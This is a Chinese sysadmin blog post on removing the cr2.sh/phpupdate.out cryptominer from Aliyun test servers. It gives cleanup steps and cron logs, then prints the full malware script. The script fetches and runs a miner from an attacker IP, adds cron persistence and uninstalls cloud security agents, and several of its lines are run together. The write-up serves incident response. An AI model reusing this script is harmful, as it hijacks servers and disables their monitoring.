cr2.sh和phpupdate.out挖矿程序处理
已经有很长一段没有处理阿里云的预警问题了,最近同事因个人事务请假,我接手了他的任务,还好这几台都是测试机器....
阿里预警:
1. 确定文件路径:
[test@test /]$ sudo find / -name *phpupdate*
find: ‘/proc/21471’: No such file or directory
/data2/hadoop/tmp/nm-local-dir/usercache/devops/appcache/application_1588995900644_0004/container_1588995900644_0004_04_000001/phpupdate.out
/home/test/phpupdate.out
2, 查找恶意文件
[test @test /]$ cd /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/container_1588995900644_0004_04_000001/
[test @test container_1588995900644_0004_04_000001]$ ls
container_tokens cr2.sh flink-conf.yaml flink.jar launch_container.sh lib log4j.properties logback.xml phpupdate.out plugins tmp
[test @test container_1588995900644_0004_04_000001]$ ll -lt
total 2564
-rwxrwxrwx 1 test test 2572556 Jul 1 03:08 phpupdate.out
-rw-r----- 1 test test 2405 Jul 1 02:59 cr2.sh
lrwxrwxrwx 1 test test 112 Jun 11 15:05 logback.xml -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/12/logback.xml
drwxr-s--- 2 test test 4096 Jun 11 15:05 lib
lrwxrwxrwx 1 test test 170 Jun 11 15:05 flink-conf.yaml -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/11/application_1588995900644_0004-flink-conf.yaml1369140843671417039.tmp
lrwxrwxrwx 1 test test 117 Jun 11 15:05 log4j.properties -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/21/log4j.properties
drwxr-s--- 2 test test 4096 Jun 11 15:05 plugins
lrwxrwxrwx 1 test test 126 Jun 11 15:05 flink.jar -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/16/flink-dist_2.12-1.9.1.jar
-rw------- 1 test test 69 Jun 11 15:05 container_tokens
-rwx------ 1 test test 9446 Jun 11 15:05 launch_container.sh
drwxr-s--- 2 test test 4096 Jun 11 15:05 tmp
3. 上面已经知道相关的恶意文件,在什么地方了,现在再看一下log情况:
Jul 5 03:44:01 test CROND[3022]: (test) CMD (wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1)
Jul 5 03:44:15 test crontab[3061]: (test) LIST (test)
Jul 5 03:44:15 test crontab[3063]: (test) REPLACE (test)
Jul 5 03:44:15 test crontab[3064]: (test) LIST (test)
Jul 5 03:45:01 test crond[1080]: (test) RELOAD (/var/spool/cron/test)
Jul 5 03:45:01 test CROND[3355]: (test) CMD (wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1)
Jul 5 03:45:15 test crontab[3416]: (test) LIST (test)
Jul 5 03:45:15 test crontab[3418]: (test) REPLACE (test)
Jul 5 03:45:15 test crontab[3419]: (test) LIST (test)
Jul 5 03:46:01 test crond[1080]: (test) RELOAD (/var/spool/cron/test)
Jul 5 03:46:01 test CROND[3697]: (test) CMD (wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1)
Jul 5 03:46:15 test crontab[3737]: (test) LIST (test)
Jul 5 03:46:15 test crontab[3739]: (test) REPLACE (test)
Jul 5 03:46:15 test crontab[3740]: (test) LIST (test)
看到上面有定时程序
4. 查看定时程序,如果不把定时程序干掉,即时将上面cr2.sh和phpupdate相关的进程干掉,还是会起来。
5. 查看定时程序:crondtab -l
[test @test /]$ crontab -l
* * * * * wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1
6. 修改定时程序: crontab -e,删掉上面的定时程序。
7. 然后 ps -ef | grep CROND / ps -ef | grep cr2.sh / ps -ef | grep phpupdate.out, 将这些列出来的进程用kill -9全部删掉
8. 删除所有相关的文件夹和文件 (rm -rf /var/spool/cron 和上面检索出来的文件夹)
9. 上面操作全部结束后,再确认一下
[test@test log]# cd /var/spool
[test@test spool]# ls
anacron at cron lpd mail plymouth postfix
[test@test spool]# cd cron
[test@test cron]# ls
[test@test cron]# pwd
/var/spool/cron
[test@test cron]# cd /
[test@test /]# find / -name cr2.sh
[test@test /]# find / -name phpupdate.out
[test@test /]#
10. 修改账号密码,重启系统
11. 再次确认进程和文件是否存在。我这边处理完了以后就没有了。
12. 同时将外连的ip地址设置成了黑名单,以及网络做了进一步的访问控制。
附带一下这次的挖矿程序cr2.sh
#!/bin/sh
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
pkill -f zer0day.ruCRTDIR=$(pwd)
WGET="wget -O"
if [ -s /usr/bin/curl ];then WGET="curl -o";
fi;
if [ -s /usr/bin/wget ];then WGET="wget -O";
fi
if [ ! "$(ps -fe|grep '$CRTDIR/phpupdate.out -c $CRTDIR/config.json' |grep -v grep)" ]; thenf1=$(curl 144.202.124.247)if [ -z "$f1" ];then f1=$(wget -q -O - 144.202.124.247)fif2="144.202.124.247"if [ `getconf LONG_BIT` = "64" ]then$WGET $CRTDIR/phpupdate.out http://$f2/phpupdateelse$WGET $CRTDIR/phpupdate.out http://$f2/phpupdatefichmod +x $CRTDIR/phpupdate.outchmod 777 $CRTDIR/phpupdate.out$WGET $CRTDIR/config.json http://$f2/config.jsonsleep 5nohup $CRTDIR/phpupdate.out -c $CRTDIR/config.json >/dev/null 2>&1 &sleep 5rm -rf $CRTDIR/config.jsonrm -f $CRTDIR/phpupdatefi
pkill -f logo9.jpg
crontab -l | sed '/logo9/d' | crontab -if crontab -l | grep -q "144.202.124.247"
thenecho "Cron exists"
elseecho "Cron not found"LDR="wget -q -O -"if [ -s /usr/bin/curl ];thenLDR="curl";fiif [ -s /usr/bin/wget ];thenLDR="wget -q -O -";fi(crontab -l 2>/dev/null; echo "* * * * * $LDR http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1")| crontab -
fiif ps aux | grep -i '[a]liyun'; thenLDR="wget -q -O -"if [ -s /usr/bin/curl ];thenLDR="curl";fiif [ -s /usr/bin/wget ];thenLDR="wget -q -O -";fi $LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash$LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash$LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash$LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bashpkill aliyun-servicerm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-servicerm -rf /usr/local/aegis*systemctl stop aliyun.servicesystemctl disable aliyun.serviceservice bcm-agent stopyum remove bcm-agent -yapt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then/usr/local/qcloud/stargate/admin/uninstall.sh/usr/local/qcloud/YunJing/uninst.sh/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
ip地址:
cr2.sh和phpupdate.out挖矿程序处理相关推荐
- 阿里云服务器被挖矿程序minerd入侵的终极解决办法[转载]
突然发现阿里云服务器CPU很高,几乎达到100%,执行 top c 一看,吓一跳,结果如下: 3798 root 20 0 386m 7852 1272 S 300.0 0.1 4355:11 /tm ...
- 记一次阿里云服务器CPU长期100%发现被被种挖矿程序解决的过程(一摸一样,只是没查到怎么进来的,入侵)
centos 7 记一次阿里云服务器被被种挖矿程序解决的过程 1.原因 偶尔发现我的服务器CPU使用率长期处于100%,就登上服务器看了一下 2.查看进程 1 [root@izwz94xp1kwkca ...
- 阿里云服务器挖矿程序解决流程
阿里云服务器挖矿程序解决流程 问题表象 定位解决问题 问题表象 1.CPU满负载 进入root用户执行top命令: 2. 应用进程被杀 ./startWebLogic.sh: line 184: 23 ...
- 记一次服务器被挖矿程序占用的解决过程
公司有台做voip的服务器最近CPU总是跑满,这机器自从交给厂家搭好环境后基本就没怎么管它,于是进去查看进程,top了下(见下图) 这个叫wnTKYg的进程很诡异,已经把CPU吃光了,上网一查,原来是 ...
- 记录一次清理挖矿程序
之前的服务器密码设置的很简单,ssh的端口使用的默认端口22,很容易被别人暴力破解了 先查看一下暴力破解时使用的ip [root@hostname ~]# find /var/log -name 's ...
- 移除挖矿程序过程记录
前言: 早上发现一个服务器的挖矿程序预警消息: 那么接下来开始处理这个问题, 废话不说直接上有效的操作了: 1.查看系统定时任务及修改: 查看系统定时任务:方式一:crontab -lcrontab ...
- centos8 处理挖矿程序攻击
ll /usr/bin/top* top命令被修改,并且隐藏了两个进程 chattr命令不可用,先删除e2fsprogs再重新安装. yum remove e2fsprogs #rpm -qa|gre ...
- centos6.8服务器中了挖矿程序病毒的解决方法
阿里云提示我的centos服务器出现紧急安全事件:挖矿程序:同时也出现服务器异常登录事件. 出现这样的情况,需要根据以下的步骤去处理 第一步:修改登录的帐号密码,输入命令passwd,根据提未修改. ...
- 记一次个人服务器被nicehash挖矿,排查挖矿程序记录
一:早上起来,发现短信邮箱都收到阿里云提示,租赁的一台虚拟云服务器,异地登录,被植入挖矿程序的提示: 二:打开电脑,终端连接服务器,发现登录不进去,第一反应,远程连接密码被修改,登录阿里云控制台,修改 ...
最新文章
- AI研究生应届生年薪可达50万 没出校门已被抢光
- Vivado使用误区与进阶——XDC约束技巧之I/O篇 (下)
- C++中函数重载分析
- css 科技 边框_CSS 边框
- 常用的Windows脚本
- HDU 2296 Ring AC自动机 + DP
- Android官方开发文档Training系列课程中文版:线程执行操作之定义线程执行代码
- 计算机专业的求职信英文作文,计算机专业本科英文求职信范文
- Access Modify Change 三种时间戳详解
- es 全量同步mysql_MySQL用得好好的,为什么要转ES?
- 手机音频拼接软件_几款好用的修音软件,有需要的小伙伴快来下载吧
- kx linux驱动下载,KX-MB2138CN Linux
- 操作系统——实验一(Linux基本操作)
- 成功之道在于发挥优势而不是克服弱点
- 如何在电脑端安装哔哩哔哩?
- Youtube CC字幕是什么,Caption和Subtitle的解释
- unity4和unity5区别
- 移动端 click 300ms 延迟,如何解决
- 基于Redis GEO(地理位置) 实现附近的人,商家等相关功能实现 使用SpringBoot Redis工具类
- 仓管员的个人年终总结pos维护调度年终总结
热门文章
- 千锋学习day09面向对象
- 免费刷会员和六钻工具?小心通过QQ传播的灰鸽子Backdoor.Win32.Gpigeon.gem
- 全新2009高校BBS上充满温馨的100个调情小笑话
- AutoML论文笔记(十二)Search to Distill: Pearls are Everywhere but not the Eyes:千里马常有,而伯乐不常有
- 中国液晶面板王者为何被小弟超越了?
- 参数化三维地下管线建模关键技术研究
- android的输出流和剪裁python实现以下原理
- 狗子课堂 二 虚拟机配置
- 专利下载(免费下载专利文献)
- rf中resourceid_RF(三)元素定位方法